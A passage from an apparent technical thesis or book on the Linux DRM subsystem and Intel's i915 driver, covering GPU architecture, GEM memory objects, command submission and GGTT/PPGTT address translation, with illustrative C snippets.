and is freed when the driver is unloaded. It serves as the entry point for all DRM-related
operations. Some of its key fields include:

1 /**

2 * struct drm_device - DRM device structure

3 *
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4 * This structure represent a complete card that

5 * may contain multiple heads.

6 */

7 struct drm_device {

8 ...

9

10 /** @dev: Device structure of bus -device */

11 struct device *dev;

12

13 ...

14

15 /** @driver: DRM driver managing the device */

16 const struct drm_driver *driver;

17

18 ...

19

20 /**

21 * @master:

22 *

23 * Currently active master for this device.

24 * Protected by &master_mutex

25 */

26 struct drm_master *master;

27

28 ...

29

30 /**

31 * @filelist:

32 *

33 * List of userspace clients , linked through &drm_file.lhead.

34 */

35 struct list_head filelist;

36

37 ...

38

39 /**

40 * @vblank:

41 *

42 * Array of vblank tracking structures , one per &struct drm_crtc. For

43 * historical reasons (vblank support predates kernel modesetting)

this

44 * is free -standing and not part of &struct drm_crtc itself. It must

be

45 * initialized explicitly by calling drm_vblank_init ().

46 */

47 struct drm_vblank_crtc *vblank;

48

49 ...

50

51 /** @mode_config: Current mode config */

52 struct drm_mode_config mode_config;

53

54 ...

55

56 /** @vram_mm: VRAM MM memory manager */

57 struct drm_vram_mm *vram_mm;

58

59 ...
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60

61 /**

62 * @fb_helper:

63 *

64 * Pointer to the fbdev emulation structure.

65 * Set by drm_fb_helper_init () and cleared by drm_fb_helper_fini ().

66 */

67 struct drm_fb_helper *fb_helper;

68 };

69

• struct device *dev - This points to the corresponding Linux device structure
(struct device), allowing DRM to integrate with the standard Linux device model.
It provides access to PCI, platform, or embedded device resources.

• struct drm_driver *driver - A pointer to the DRM driver structure, which de-
fines the driver’s callbacks, feature set, and supported operations. This includes
function pointers for memory management, mode setting, command submission,
and power management.

• struct drm_file *master - Tracks the master process controlling the DRM de-
vice, typically the display server (Xorg, Wayland, or a compositor). It enforces
security policies to prevent unauthorized access to GPU and framebuffer resources.

• struct list_head filelist - A linked list tracking all open file descriptors asso-
ciated with the device. This is critical for multi-client GPU access, ensuring proper
resource allocation and cleanup when user-space processes terminate.

• struct drm_vblank_crtc *vblank - An pointer tracking vertical blanking inter-
vals (VBlank) for each CRTC. This ensures frame updates are synchronized with
the display refresh cycle, reducing screen tearing and visual artifacts.

• struct drm_mode_config mode_config - The display pipeline configuration, man-
aging CRTCs, encoders, connectors, and framebuffers. This field allows DRM to
handle mode setting and display updates, interacting with atomic structures when
atomic mode setting is enabled.

• struct drm_mm vram_mm - Manages VRAM allocation for discrete GPUs, allowing
buffer objects to be placed in GPU memory. This is particularly useful for GDDR6
or HBM-based graphics cards that rely on dedicated VRAM regions.

• struct drm_fb_helper *fb_helper - Provides legacy framebuffer emulation, en-
suring compatibility with older applications that expect a direct framebuffer inter-
face instead of modern DRM/KMS-based rendering.

Efficient memory management is crucial for GPU workloads, and DRM implements
two primary models: Graphics Execution Manager (GEM) and Translation Table Man-
ager (TTM). GEM, used by most modern drivers, simplifies buffer object handling and
provides low-overhead GPU memory allocation. The API, located in drm_gem.c, enables
applications to allocate and map graphics buffers into user space through functions such
as drm_gem_object_alloc() and drm_gem_mmap(). TTM, implemented in ttm_bo.c, is
more sophisticated and supports discrete GPUs with dedicated VRAM, handling GPU
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memory paging, eviction, and virtual address spaces. The memory subsystem must also
interact with the Direct Memory Access (DMA) engine to efficiently transfer data between
system RAM and the GPU.

Command submission and GPU scheduling are managed through drm_sched.c, which
provides a fair queuing mechanism for executing workloads across multiple clients. This
scheduler ensures that multiple applications can share the GPU without resource starva-
tion while enforcing synchronization primitives such as fences and semaphores. The job
queue mechanism, implemented through drm_sched_entity_push_job(), allows tasks
to be dispatched to the GPU efficiently, avoiding latency bottlenecks and ensuring frame
delivery within display refresh cycles.

Each GPU vendor provides a DRM-compliant driver that integrates with this frame-
work, implementing hardware-specific acceleration features. The Intel i915 driver, lo-
cated in drivers/gpu/drm/i915/, provides support for Intel graphics, handling display
pipelines, GPU execution units, and power management.

On the user-space side, DRM interacts with graphics libraries and windowing systems
to facilitate rendering and display composition. Mesa, the open-source OpenGL/Vulkan
implementation, communicates with DRM via Generic Buffer Management (GBM), en-
abling direct buffer allocation and GPU-based composition. Xorg and Wayland com-
positors interface with DRM for display management, vsync synchronization, and input
event handling, ensuring smooth graphical output. Legacy applications relying on frame-
buffer interfaces can still operate through the fbdev emulation layer, implemented in
drm_fb_helper.c, which translates framebuffer operations into DRM-compatible calls.

Rendering operations in a modern Linux graphics stack depend on DRM’s ability to
manage framebuffers, command streams, and synchronization primitives while ensuring
compatibility across different GPUs. The integration of DMA-BUF (Direct Memory
Access Buffer Sharing) allows buffer sharing between DRM, V4L2 (Video for Linux),
and other subsystems, enabling zero-copy frame transfers between video codecs, image
processing units, and display controllers. This feature is crucial for video playback, screen
recording, and GPU-accelerated rendering pipelines.

As GPUs become increasingly complex, DRM continues to evolve to support new ar-
chitectures, multi-GPU configurations, and real-time rendering workloads. Its structured
design ensures that graphics drivers remain maintainable, scalable, and interoperable,
providing a consistent API for user-space applications while abstracting vendor-specific
differences. Through its device-independent memory management, command scheduling,
and display pipeline handling, DRM plays a central role in the modern Linux graphics
ecosystem.

2.3.2 Intel in DRM

Intel has been a driving force in the evolution of the DRM system, contributing one of
the most advanced and actively maintained drivers in the Linux kernel: i915. Initially
developed for Intel’s integrated graphics, i915 has expanded to support discrete GPUs
like the Intel Arc series and Xe-HP, making it a crucial component of the modern Linux
graphics stack. Found under drivers/gpu/drm/i915/, it manages command submission,
memory allocation, power management, and display pipelines for a wide range of Intel
GPUs.

Intel’s open-source development model has allowed i915 to remain deeply integrated
into the kernel, supporting key technologies such as Kernel Mode Setting (KMS), the
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Graphics Execution Manager (GEM), GuC/HuC firmware offloading and multi-engine
GPU scheduling. With the introduction of discrete GPUs, the driver has evolved to
handle dedicated VRAM, context isolation, and high-performance compute acceleration,
requiring significant architectural improvements.

The next chapter will dive into the technical aspects of Intel’s GPU architecture, ex-
ploring the hardware description, the generic design of i915, and its memory management
strategies. As Intel continues to scale its GPU offerings, these foundational concepts are
critical to understanding how i915 interacts with the Linux kernel at a low level.
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Chapter 3

i915 Driver

3.1 Hardware Architecture of Intel GPUs

In this chapter, we adopt the Intel Arc A-Series GPU architecture, code-named Alchemist,
as the reference design for examining modern GPU microarchitecture. This platform rep-
resents Intel’s latest generation of discrete graphics processors and serves as a convergence
point for compute, rendering, and media acceleration in a unified, scalable design.

At the heart of the Arc architecture is a highly parallel compute fabric, organised
around clusters of programmable Execution Units (EUs). Each EU is a SIMD-8 core,
capable of executing up to 16 hardware-managed threads concurrently. Unlike scalar
CPU cores, EUs are designed to exploit data-level parallelism, issuing vector instructions
to dual pipelines supporting both integer and floating-point arithmetic. Threads share
no register state; each has exclusive access to a large General Register File (GRF), en-
suring independence and efficient context switching. For operations that extend beyond
the EU’s local execution model—such as texture sampling, gather/scatter memory ac-
cess, and atomic synchronisation—the EU communicates with a set of centralised Shared
Functions via a message-passing mechanism. These operations are initiated using SEND
instructions, which encapsulate function codes and operands into message registers and
receive results asynchronously into the GRF.

Feature Arc A-Series Notes
SIMD Width 8 lanes Dual-issue integer + FP
Threads per EU 16 HW multithreading
GRF Size 512 × 32-bit Per thread context
Issue Ports 2 Arithmetic, branch, transcendental
Shared Functions Message SEND Texture, atomic ops, scatter/gather
Peak FP32 Throughput ¿1 TFLOP/s per slice 96 EUs per slice (high-end)

Table 3.1: Execution Unit (EU) Microarchitecture — Intel Arc A-Series

Arc GPUs scale this model by deploying dozens of EUs per slice, with high-end SKUs
reaching up to 96 EUs per slice, and multiple slices per device. The Thread Dispatcher
plays a crucial role in keeping this parallelism saturated. It accepts spawn requests from
both the 3D and Media pipelines, allocates execution resources, assigns register space, and
transparently balances workloads across the EU array. This dynamic arbitration allows
Intel GPUs to handle highly divergent workloads—such as simultaneous video decode,
3D rendering, and compute kernels—without requiring explicit software-level scheduling.
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Figure 3.1: Intel Arc A-Series GPU Block Diagram

Fixed-function logic is deeply integrated into the pipeline, enabling predictable per-
formance for key workloads. The Render Engine includes dedicated hardware for vertex
processing, tessellation, rasterisation, and pixel shading. It leverages the EUs to run
programmable shader stages while offloading the control flow and geometry stages to
fixed logic. The Media Engine is equally sophisticated, supporting formats such as AVC,
VC-1, and MPEG2 via a modular set of specialised blocks—Bitstream Decoder (BSD),
Motion Compensation (VMC), Intra Prediction (VIP), Loop Filter (VLF), and Bitstream
Encoder (BSC). While highly optimised for video operations, the media pipeline is also
capable of spawning general-purpose threads when needed, allowing compute kernels to
run alongside decode/encode flows with minimal interference.

Memory management is a critical pillar of the architecture. All GPU clients operate
within a 64-bit Graphics Virtual Address (GVA) space, which is resolved through two
complementary translation schemes. The Global Graphics Translation Table (GGTT)
provides a flat mapping for privileged contexts, such as the display and firmware, using a
single-level 8 MB page table for a 4 GB VA range. In contrast, user-space workloads oper-
ate within a Per-Process GTT (PPGTT), which adopts a four-level IA32e-style page table
hierarchy, enabling each context to address up to 256 TB of virtual memory. The system
supports large pages (64 KB, 2 MB, and 1 GB), and the page-walk mechanism mirrors
that of traditional CPUs, allowing straightforward integration with IOMMU systems for
shared memory scenarios.

An advanced feature of the Arc memory model is its support for Sparse Tiled Re-
sources. These are managed through a three-level Tile Resource Translation Table (TR-
TT), which maps logical tiles (typically 64 KB) to physical pages—or flags them as Null
or Invalid. This enables efficient implementation of large virtual textures or sparse data
structures without the need to fully populate them in memory. Reads from Null tiles re-
turn zeros, while writes are silently dropped; Invalid accesses, on the other hand, trigger
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hardware interrupts for fault handling.
The memory hierarchy itself is designed for high throughput and low latency. L1 and

L2 caches are private to each EU and its associated datapaths, while a shared L3 cache
provides a large, coherent buffer space accessible by all GPU engines. Each L3 bank is
512 KB, 16-way associative, and address-hashed to distribute traffic evenly. It supports
64-byte cache lines, single-error correction via SECDED ECC, and parallel access paths
for read, write, and atomic operations. Bandwidth scales linearly with the number of
banks, with each capable of handling one read or write per cycle and up to eight 32-bit
atomic operations.

Level Size Assoc. Line Size Bandwidth ECC
L1/L2 16–64 KB 4–8-way 64 B EU-local None
L3 512 KB (per bank) 16-way 64 B 64 B/cycle SECDED

Table 3.2: Intel Arc A-Series GPU Cache Hierarchy

Crucially, the L3 cache is not monolithic in behaviour. It is partitionable by design,
allowing different client types—such as the Data Cluster, Read-Only buffers, Tile Cache,
and Command Buffer—to be allocated distinct regions within each bank. Allocation is
programmable in 8 KB increments via the Memory Object Control State (MOCS) system,
which interprets both static surface state and dynamic memory access hints. This fine-
grained control enables workload-specific optimisation: for instance, isolating media data
from compute kernels or reserving guaranteed cache regions for time-critical command
stream buffers.

Config
Data

Cluster (KB)
Read-Only

(KB)
Tile

Cache (KB)
Cmd

Buffer (KB)
Default 512 0 0 0
Config 1 384 0 128 0
Config 4 0 128 352 32
Config 5 256 0 224 32

Table 3.3: Programmable L3 Cache Partitions per 512KB Bank

Intel’s architecture enforces coherency guarantees where necessary, but also allows
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developers to trade consistency for raw bandwidth. Per-thread memory operations are
strongly ordered—writes followed by reads to the same address are guaranteed to ob-
serve causality—but the system supports out-of-order access for independent memory
streams. The SuperQ scheduler governs these ordering semantics and handles synchroni-
sation primitives such as PIPE CONTROL to enforce flushes and barriers across engines
when required. Coherent memory flows between CPU and GPU are managed through
IOMMU-aligned memory types, while non-coherent flows allow lower-latency bypass of
CPU caches for performance-sensitive paths.

Altogether, the Arc A-Series GPU architecture presents a highly parallel, programmable,
and bandwidth-optimised platform. By tightly integrating general-purpose compute with
graphics and media pipelines, and by providing a fine-tuned memory model with both
virtualisation and QoS, Intel’s GPU microarchitecture enables a broad spectrum of work-
loads—from real-time rendering and video playback to dense matrix compute and AI
inference—within a consistent and efficient execution environment.

3.2 Overview of i915 Device Driver

The i915 kernel module is Intel’s official graphics driver for the Linux kernel. It provides
full GPU support for both integrated and discrete Intel graphics hardware. Initially
developed for early integrated GPUs, the driver has evolved to support the architec-
tural changes introduced from Gen6 onwards, including Arc A-Series discrete GPUs. Its
scope includes memory management, command submission, context isolation, execution
scheduling, and runtime power management.

The i915 driver exposes a Direct Rendering Manager (DRM) interface to userspace.
This interface is accessed through ioctl() system calls defined in i915 ioctl.c. These
calls enable buffer allocation, command buffer submission, execution context creation,
and synchronisation. Userspace applications such as Mesa’s Gallium and Vulkan’s ANV
backend rely on this interface. Internally, the driver integrates with the kernel’s memory
subsystem, DMA APIs, and interrupt framework.

Graphics memory is managed through the Graphics Execution Manager (GEM) ab-
straction. Each buffer is represented as a GEM object, defined in gem/i915 gem object.h

via the struct drm i915 gem object. GEM objects provide an abstraction over physical
memory that can be accessed by both the GPU and the CPU. Each object is reference
counted and associated with a handle bound to a specific drm file instance to enforce
access isolation.

GEM objects may reside in system memory or device-local memory and can be evicted
or migrated depending on residency requirements. CPU access is typically provided via
mmap() when coherency is guaranteed. GPU access requires address space mapping via
the virtual memory subsystem.

Key GEM-related ioctl calls include:

• DRM IOCTL I915 GEM CREATE: buffer allocation

• DRM IOCTL I915 GEM MMAP: userspace mapping

• DRM IOCTL I915 GEM EXECBUFFER2: command submission

These calls are implemented in i915 ioctl.c, while object lifecycle handling resides
in i915 gem.c and i915 gem object.c.
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Command submission in the i915 driver begins in userspace, typically from a Mesa
driver or Vulkan backend, we will walk through the command submission details in the
next chapter.

Each object is associated with a VMA (Virtual Memory Area). The driver pins these
VMAs into the execution context’s address space. Binding is handled in i915 vma.c

where physical pages are inserted into the context’s PPGTT page tables.
If relocations are required (legacy path), they are applied here. All GPU addresses in

the batch are updated accordingly.
All resources—GEMs, VMAs, contexts, requests—are reference counted. This enables

precise tracking and isolation across engines and clients.
Execution contexts are managed via struct i915 gem context in i915 gem context.h.

They define engine mappings, PPGTT page tables, and scheduling metadata. Con-
texts are created with DRM IOCTL I915 GEM CONTEXT CREATE and configured through
DRM IOCTL I915 GEM CONTEXT PARAM.

Address translation uses two GTT mechanisms:

• struct i915 ggtt: global mappings for scanout and shared memory

• struct i915 ppgtt: per-process private mappings

These are defined in i915 gtt.h. PPGTTs use a 4-level page table, supporting 256
TB virtual space. Page walks are software-managed and context-switch updates modify
the base registers. TLB flushes are performed via engine-specific mechanisms.

Synchronisation is managed using dma fence and i915 dependency. These track
request readiness and enable topological ordering in the scheduler. Timeline fences can
be exposed to userspace for explicit synchronisation.

Preemption is supported from Gen9 onward. In intel context.c, the driver sup-
ports forced yields for higher-priority contexts. Context state, ring pointers, and address
mappings are preserved and restored around the switch.

Runtime power management is handled by intel runtime pm.c and intel gt pm.c.
The driver disables unused domains and adjusts frequency using RC6 and RPS mecha-
nisms under firmware or hardware control.

On initialisation, the driver probes PCI, maps MMIO, and configures engines and
pipelines. The global state is tracked in drm i915 private defined in i915 drv.h.

Device interfaces appear at /dev/dri/cardN and /dev/dri/renderD128+. Debugfs
exposes state in /sys/kernel/debug/dri/. Tools like intel gpu top and drm info use
these for diagnostics and telemetry.

In summary, the i915 driver implements a layered abstraction for Intel GPUs. It
provides execution isolation, virtual memory management, engine scheduling, and power
control, exposing a robust interface to both kernel and userspace clients.

3.3 Command Submission in i915

Command submission in the i915 driver defines the mechanism by which userspace in-
structs the GPU to perform computation or rendering tasks. This pipeline begins with
a userspace ioctl call and proceeds through several kernel subsystems before resulting in
commands being executed by GPU hardware engines. This section describes that path in
detail, covering software abstractions, execution engines, kernel processing, and hardware
interaction.
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Modern Intel GPUs support multiple execution engines grouped into classes: RENDER,
BLT, VEBOX, and COMPUTE. Each engine represents a hardware context with its own com-
mand submission queues, registers, and functional units. The RENDER class handles 3D
and general-purpose compute workloads. BLT is used for memory copies and clear op-
erations, VEBOX handles video post-processing, and COMPUTE supports parallel compute
tasks on Xe and Arc GPUs.

Command submission from userspace is initiated through the DRM IOCTL I915 GEM EXECBUFFER2

interface. This ioctl allows userspace to provide an execution context, a list of GEM
buffer handles, and the batch buffer address that contains the commands to execute.
The userspace driver—such as Mesa or Vulkan’s ANV backend—constructs this submis-
sion and issues the ioctl via drmIoctl().

Here is an example of simplified userspace C code for submitting a batch buffer:

1 int submit_batch(int fd , uint32_t ctx_id , uint32_t batch_handle ,

2 uint64_t batch_start , struct drm_i915_gem_exec_object2

*objects ,

3 int object_count) {

4

5 struct drm_i915_gem_execbuffer2 execbuf = {

6 .buffers_ptr = (uintptr_t)objects ,

7 .buffer_count = object_count ,

8 .batch_start_offset = 0,

9 .batch_len = 8, // at least END command

10 .flags = I915_EXEC_RENDER ,

11 .rsvd1 = ctx_id ,

12 .rsvd2 = 0

13 };

14

15 execbuf.batch_start_offset = batch_start;

16

17 return drmIoctl(fd , DRM_IOCTL_I915_GEM_EXECBUFFER2 , &execbuf);

18 }

Listing 3.1: Userspace batch submission

When this ioctl is called, the kernel begins by parsing the execbuffer structure and
resolving the list of GEM handles to internal struct drm i915 gem object instances.
For each object, the driver ensures that a corresponding VMA exists and is pinned into
the appropriate per-process GPU address space (PPGTT). The pages of each object are
inserted into the GPU page tables via software page walks.

1 static struct drm_i915_gem_object *

2 __i915_gem_object_create_user_ext(struct drm_i915_private *i915 , u64

size ,

3 struct intel_memory_region ** placements ,

4 unsigned int n_placements ,

5 unsigned int ext_flags)

6 {

7 ...

8

9 obj = i915_gem_object_alloc ();

10 if (!obj)

11 return ERR_PTR(-ENOMEM);

12

13 ret = object_set_placements(obj , placements , n_placements);

14 if (ret)

15 goto object_free;
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16

17 /*

18 * I915_BO_ALLOC_USER will make sure the object is cleared before

19 * any user access.

20 */

21 flags = I915_BO_ALLOC_USER;

22

23 ret = mr ->ops ->init_object(mr , obj , I915_BO_INVALID_OFFSET , size , 0,

flags);

24 if (ret)

25 goto object_free;

26

27 ...

28 return obj;

29 }

30

Listing 3.2: GEM object creation in gemı915 gem create.c. i915 gem object alloc()

allocates the object, while object set placements() allocates the memory region
placements. Finally init object() callback initializes the memory area associated with the
object: that can be shared memory, stolen memory or TTM managed memory.

A new struct i915 request is then allocated for the selected engine. This structure
encapsulates the batch buffer, execution context, fences, and scheduling metadata. The
driver emits GPU commands into the ring buffer or context image to begin execution.

1 struct i915_request *

2 __i915_request_create(struct intel_context *ce, gfp_t gfp)

3 {

4 ...

5 struct i915_request *rq;

6 ...

7 rq = kmem_cache_alloc(slab_requests ,

8 gfp | __GFP_RETRY_MAYFAIL | __GFP_NOWARN);

9 ...

10 rq ->context = ce;

11 rq ->engine = ce->engine;

12 rq ->ring = ce->ring;

13 rq ->execution_mask = ce->engine ->mask;

14 rq ->i915 = ce->engine ->i915;

15

16 ret = intel_timeline_get_seqno(tl , rq , &seqno);

17 if (ret)

18 goto err_free;

19 ...

20 ret = rq ->engine ->request_alloc(rq);

21 if (ret)

22 goto err_unwind;

23 ...

24 intel_context_mark_active(ce);

25 list_add_tail_rcu (&rq->link , &tl->requests);

26

27 return rq;

28 ...

29 }
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Listing 3.3: GEM object creation in i915 request.c. kmem cache alloc() allocates the rq
request structure. Right after the rq is initialized, which means that the engine is associated
with it. In the remaining code the request is inserted in the timeline, which is the sequence of
the engine’s requests that will be executed by the scheduler.

For GuC-enabled platforms, such as Arc GPUs, the driver constructs a submission
descriptor and places it into a firmware-managed Work Queue. The GuC is then respon-
sible for context scheduling and execution. If GuC is disabled, the driver directly writes
to ring buffer memory mapped into GPU engine MMIO space.

The request is then inserted into the kernel’s scheduler. Dependencies between re-
quests are tracked using struct dma fence and struct i915 sched node. The sched-
uler builds a dependency graph and uses topological sorting to determine execution order.

Upon submission, the engine’s Command Streamer fetches the batch buffer, parses
GPU instructions, and dispatches them to the appropriate execution units. At the end
of the batch, a fence is updated in memory to signal completion.

Userspace: Vulkan or Mesa

drmIoctl: execbuffer2

Parse & validate input

Lookup GEMs, pin VMAs

Emit batch commands

Create i915 request

Insert into scheduler

Submit to engine or GuC

Engine executes commands

Fence signaled

Userspace notified

Figure 3.3: Full submission flow from userspace to GPU execution
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Userspace may synchronise using fences returned by the ioctl, or with explicit depen-
dencies via drm syncobj. Another example shows waiting for completion:

1 int wait_for_gpu(int fd , uint32_t handle) {

2 struct drm_i915_gem_wait wait = {

3 .bo_handle = handle ,

4 .timeout_ns = 10 * 1000 * 1000 // 10ms

5 };

6

7 return drmIoctl(fd , DRM_IOCTL_I915_GEM_WAIT , &wait);

8 }

Listing 3.4: Userspace fence wait

Upon request retirement, the dma fence associated with the request is signaled. This
notifies any blocking userspace thread, and the driver begins cleanup: GEM objects may
be unpinned, VMAs evicted, and context state retired. If GuC is used, fence signaling is
handled by the firmware via doorbell mechanisms.

The overall submission flow from userspace to hardware execution is shown below:
The command submission infrastructure in i915 integrates scheduling, memory manage-
ment, and context tracking to support efficient, isolated, and parallel execution on Intel
GPUs. This model supports legacy ring-buffer architectures as well as modern GuC-based
firmware scheduling for distributed GPU resources.

3.4 Memory Architecture in i915

The memory architecture implemented in the i915 driver serves as the backbone of GPU
buffer management and virtual address space handling. It is designed to support both
shared system memory and dedicated local memory (LMEM), depending on platform
capabilities. This section discusses the layout, access, translation, and management of
GPU-visible memory in the i915 driver stack.

The Graphics Execution Manager (GEM) abstracts buffer allocations via struct

drm i915 gem object, defined in drivers/gpu/drm/i915/gem/i915 gem object.h. These
objects are backed by memory pages that can reside in system memory or LMEM, de-
pending on availability and performance hints. GEM objects are reference counted and
tracked per process. On creation, they are not bound to any address space until explicitly
mapped.

There are two primary GPU virtual memory models used by i915: Global Graphics
Translation Table (GGTT) and Per-Process Graphics Translation Tables (PPGTT). The
GGTT provides a single, global address space shared across all contexts, while PPGTTs
offer isolated address spaces per context for improved security and flexibility.

The GGTT is a contiguous page table configured at boot time, covering the entire
aperture region exposed to the GPU. It is managed by struct i915 ggtt, defined in
i915 gtt.h. GGTT mappings are static and pinned; they are typically used for frame-
buffer surfaces, scanouts, and shared kernel allocations. Pages bound here are globally
visible to all GPU clients.

Mapping into GGTT involves pinning a GEM object’s pages and inserting PTEs
into the global table. The actual hardware aperture is limited (e.g., 256MB on older
platforms), which requires careful eviction and reuse. The driver exposes this through
ggtt insert() and related helpers.
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Introduced with Gen8 and expanded in Gen9+, PPGTTs provide private address
spaces per context. They are implemented as a multi-level page table hierarchy, sim-
ilar to x86 CPU memory management. Each context has its own instance of struct

i915 ppgtt, also defined in i915 gtt.h. Contexts use these for sandboxing and fault
isolation.

PPGTT types include:
- Aliasing PPGTT: early implementation, sharing root with GGTT - Full PPGTT

(a.k.a true PPGTT): independent root tables per context - Dynamic PPGTT: supports
runtime allocation of page tables - 64-bit PPGTT: expands address space to 256TB for
newer hardware

Page walks in PPGTT are performed in software by the driver, using helpers in
gen8 ppgtt.c and gen12 ppgtt.c. Table updates are applied to hardware via MMIO
writes to context image base pointers. Page table memory is allocated from LMEM if
available, or system memory.

GEM Object

VMA: GGTT / PPGTT

GGTT: Global Mapping PPGTT: Per-context Mapping

Page Tables (4-level)

Physical Pages

Figure 3.4: GEM to GPU memory translation using GGTT and PPGTT

The Global GTT (GGTT) is programmed via registers at boot and is used for legacy
address space mappings. It provides a flat 32-bit virtual address space that is shared
across all clients and contexts. Since all accesses go through the same translation tables,
memory isolation is not enforced.

GGTT is typically mapped to the CPU via a Write-Combining (WC) aperture, al-
lowing CPU access to GPU-visible memory with relaxed coherency. In i915, the GGTT
aperture is tracked via ggtt->gmadr and ggtt->mappable end.

PPGTT, in contrast, introduces a multi-level page table hierarchy with private address
spaces per context. Starting with Gen8, a 4-level structure is used, mimicking x86-64:

• Level 4: PML4

• Level 3: PDP (Page Directory Pointer)

• Level 2: PD (Page Directory)

• Level 1: PT (Page Table)
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The physical address of the root page table is programmed into the GPU through
the context image using MMIO or context descriptor updates. Page tables are allocated
dynamically as needed, reducing memory usage per context.

When a new execution context is created, a private ppgtt is allocated using the
following code path:

1 struct i915_address_space *vm;

2 vm = i915_ppgtt_create (&i915 ->gt.vm);

Listing 3.5: Creating a PPGTT instance

This call allocates the necessary top-level page directories and sets up appropriate
shrinker callbacks and fence synchronization primitives. Lower level page tables are
allocated during VMA binding.

To map a VMA into a PPGTT, the driver performs page table walks in software and
allocates missing directories. The physical pages are inserted into PTEs using platform-
specific helpers (e.g., gen8 insert pte()).

1 gen8_set_pte (&pt ->base , idx , phys_addr ,

2 I915_CACHE_WB , PTE_READABLE | PTE_WRITEABLE);

Listing 3.6: Inserting a page into PPGTT

On each mapping, cache level and access flags must be set. The final GPU address is
computed by walking down the page directory structure and programming physical page
addresses at each level.

Once the page tables are populated, the root directory physical address is programmed
into the context descriptor. For GuC-enabled platforms, this is written as part of the
context image buffer:

1 desc ->lrca = i915_ggtt_offset(context_image_vma);

2 desc ->ppgtt = ppgtt ->pd_root;

Listing 3.7: Context descriptor setup

Legacy platforms use MMIO registers like PPDIR BASE and PPGTT ADDR SPACE ENABLE.
These are updated in i915 gtt.c.

Each VM has a fixed range of available GPU addresses, defined at initialisation. For
example, PPGTTs on 64-bit platforms support up to 48 bits (256 TB). i915 enforces
range checks and alignment on object insertion.

The address allocator uses a buddy allocator to manage gaps and fragmentation:

1 err = drm_mm_insert_node_in_range (&vm ->mm , &vma ->node ,

2 size , alignment , 0,

3 range_start , range_end ,

4 DRM_MM_INSERT_BEST);

Listing 3.8: Address range allocator

The combination of GEM objects, VMAs, GGTT, and PPGTTs gives the i915 driver
the ability to offer isolated, dynamically allocated, GPU-visible address spaces. GGTT
provides legacy compatibility and shared mappings, while PPGTT allows per-process
sandboxing with 4-level page tables and 64-bit support.

The dynamic construction and teardown of PPGTTs reduces memory usage and al-
lows hundreds of concurrent contexts to coexist efficiently. Combined with cache co-
herency tracking, TLB invalidation, and memory domain fencing, this architecture is
robust across both integrated and discrete Intel GPUs.
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A GEM object is bound to a virtual address space through a struct i915 vma,
created by i915 vma instance(). This VMA represents a mapping of the object into
GGTT or a PPGTT. Once mapped, the object’s pages are inserted using i915 vma pin()

and remain resident until eviction.
VMA allocation and pinning logic is implemented in i915 vma.c. The system tracks

overlapping mappings, usage lifetimes, and performs address space defragmentation. Page
table updates for PPGTT are deferred until pin time to avoid unnecessary flushing.

1 struct i915_vma *vma = i915_vma_instance(obj , vm , NULL);

2 ret = i915_vma_pin(vma , 0, 0, PIN_USER | PIN_GLOBAL);

3 if (ret)

4 return ret;

Listing 3.9: Pinning a VMA for GPU access

When memory pressure occurs, VMAs are unpinned using i915 vma unpin(). Evic-
tion removes page table entries, releases the virtual address range, and triggers domain
cache flushes if necessary. If a new submission requires the object, it will be rebound to
a new or cleared range.

Cache domains are used to track and enforce coherency between CPU, GPU, and
scanout engines. The main domains are:

- I915 DOMAINS CPU - I915 DOMAINS WC - I915 DOMAINS GTT - I915 DOMAINS RENDER

Transitioning between domains involves invalidation or flushes of read and write
caches. The logic is implemented in i915 gem clflush.c and i915 gtt.c and used
during object pinning and access.

Each VMA must satisfy engine-specific alignment requirements. For example, BLT
engines may require 4KB alignment, whereas RENDER engines may require 64-byte
boundaries. The driver computes appropriate constraints during vma insert() and may
align offsets accordingly.

Memory coloring and minimal fragmentation strategies are applied to improve address
space utilisation, especially in 32-bit constrained modes or small PPGTT contexts.

The i915memory subsystem provides robust and flexible management of GPU-visible
memory. Through GEM abstractions, multi-level page tables, and per-context address
spaces, the driver enables fine-grained isolation and efficient resource reuse. It supports
legacy GGTT models and modern 64-bit dynamic PPGTTs, adapting to platforms rang-
ing from integrated Gen6 to discrete Arc devices.

3.5 Memory Mapping in i915

Memory mapping in the i915 driver bridges the traditional Linux virtual memory model
with GPU-specific buffer management. While the Linux memory subsystem provides
mechanisms such as mmap(), VMAs, and remap pfn range(), the i915 driver must lever-
age these to expose GPU buffer objects—backed by device memory—to userspace in a
safe, coherent, and performant manner.

From the Linux perspective, a process memory image consists of ELF-defined seg-
ments (.text, .data, .bss), a heap expanded via brk(), and explicit mappings via mmap().
The i915 driver integrates with this model using the DRM subsystem to register and
manage offset-based VMAs through drm vma offset manager. These mappings do not
correspond to real files but to device-backed GPU memory.
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The standard flow to map a GPU buffer to userspace begins with userspace call-
ing DRM IOCTL I915 GEM MMAP OFFSET, which assigns a page-aligned offset to the buffer
object. This offset is inserted into the DRM offset tree and stored in obj->vma node.
Userspace then calls mmap() on the device node using that offset.

The driver handles this in its i915 gem mmap() file operation, which verifies the map-
ping, pins the pages, and calls remap pfn range() to insert the physical pages into the
process’s page tables. Depending on the mapping type, pages may come from system
RAM, GTT-mappable space, or local device memory (LMEM).

1 static int i915_gem_mmap(struct file *filp , struct vm_area_struct *vma)

2 {

3 ...

4 obj = i915_gem_object_lookup(filp , handle);

5 i915_gem_object_pin_pages(obj);

6 remap_pfn_range(vma , vma ->vm_start ,

7 page_to_pfn(obj ->pages ->sgl ->page),

8 vma ->vm_end - vma ->vm_start ,

9 vma ->vm_page_prot);

10 }

Listing 3.10: Handling the mmap syscall in i915

The remap pfn range() call inserts the specified physical frame numbers into the
VMA’s page tables. For write-combining (WC) access, the driver ensures pgprot writecombine()

is set correctly. These caching flags interact with the PAT (Page Attribute Table), and
any mismatch can result in undefined behaviour or performance degradation.

When the user process accesses the mapped memory, Linux handles page faults using
the installed VMA handlers. However, in the case of i915, mappings are generally pinned
in memory, so faults are rare unless the object is evicted or not yet instantiated. The
driver uses i915 gem set domain() to manage domain transitions and ensure CPU-side
visibility.

1 i915_gem_set_domain(obj , I915_GEM_DOMAIN_CPU , 0);

Listing 3.11: Setting the coherency domain

To track mappings, each GEM object maintains a list of VMAs, allowing the driver
to manage overlapping mappings, reference counts, and access rights. The memory is
unpinned only when all VMAs are closed via vma close().

Mapping types supported by the driver include:

• GTT (global aperture, legacy platforms)

• WC (write-combining)

• UC (uncached)

• PAT-indexed types on modern Gen12+ devices

The driver must program the cacheability of the backing pages to match the desired
mapping type. For example, an object mapped through WC must not be accessed from
the CPU without invalidating and flushing caches first.

On platforms with LMEM support, mmap() may return addresses backed by device-
local memory. These are remapped through IO-mapped pages rather than coherent DMA,
and require special handling for consistency.
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Userspace Process

IOCTL: GEM MMAP OFFSET

